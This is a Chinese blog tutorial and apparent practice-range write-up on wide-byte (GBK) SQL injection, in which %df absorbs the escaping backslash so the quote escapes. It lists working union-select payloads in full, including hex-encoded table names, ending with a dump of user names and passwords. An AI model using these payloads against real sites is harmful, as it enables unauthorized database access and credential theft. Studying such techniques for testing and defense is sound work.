学习宽字节注入这一篇就够了

文章介绍了宽字节注入的概念,如GBK等双字节编码,以及如何利用%df来绕过转义字符防止SQL注入。通过实例展示了如何测试注入点、获取数据库信息,并提到当常规方法失效时,可以使用16进制转换作为绕过策略。
摘要由CSDN通过智能技术生成

宽字节

如果一个字符的大小是一个字节的,称为窄字节;如果一个字符的大小是两个字节的,成为宽字节

  • 像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
  • 英文默认占一个字节,中文占两个字节

宽字节注入原理

背景:我们在进行SQL注入过程中,经常通过闭合单引号或者双引号来判断是否存在注入点并进行接下来的注入操作。而开发人员就对引号进行转义来防止攻击者进行SQL注入攻击,通常开发语言中的转义字符都是反斜杠“\”。

绕过原理:因为“\”的转义后的编码为%5c,可以联想到我们中国的汉字有偏旁部首可以拼成一个汉字,那么对于转义字符编码%5c是否也可以找到一个编码跟它凑成一个新的字符呢?答案是还真有。例如在GBK编码中%df%5c就是繁体字“連”,所以这是我们就可以成功的绕过magic_qutes_gpc()函数的转义。需要小伙伴们注意的是只有是中文编码的数据库才可以这样并且数据库的编码为GBK编码。

简单理解就是:用%df吃掉转义字符 \ %5c,就可以使得 ' 逃逸

宽字节注入实战

测试注入点是否存在

?id=1%df%27

经过转义后,%df%5c是繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误

?id=1%df%5c%27

报错信息:单引号并没有被转义

 之后的测试也是同理,对单引号或者双引号这样的特殊字符前面加上一个 %df 进行注入。

测试当前表的列数

?id=1%df' order by 5 %23

测试显位

?id=-1%df' union select 1,2,3,4,5 %23

拿数据库名字

?id=-1%df' union select 1,2,database(),4,5 %23

拿表名

?id=-1%df' union select 1,2,database(),4,group_concat(table_name) from information_schema.tables where table_schema=database() %23

拿列名

?id=-1%df' union select 1,2,database(),4,group_concat(column_name) from information_schema.columns where table_name='stormgroup_member' %23

 尝试加上 %df 进行绕过,失败

 发现原有的绕过方式解码后的汉字会影响sql语句的执行

经过大佬指点后,发现可以使用16进制转换来绕过过滤,编码后记得在前面加上 0x ,这表示是16进制。

对两张表分别拿列名

 id=-1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,(select group_concat(table_name) from information_schema.tables where table_schema =0x6d6f7a68655f64697363757a5f73746f726d67726f7570)--+

拿数据

id=-1%df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+

 靶场过关

总结

宽字节注入的适用场景是特殊字符被 \ 转义的情况,使用面较窄。

还有为绕过思路打开了一扇大门:在绕过一些过滤的时候可以使用一些字符编码的方法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Dao-道法自然

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值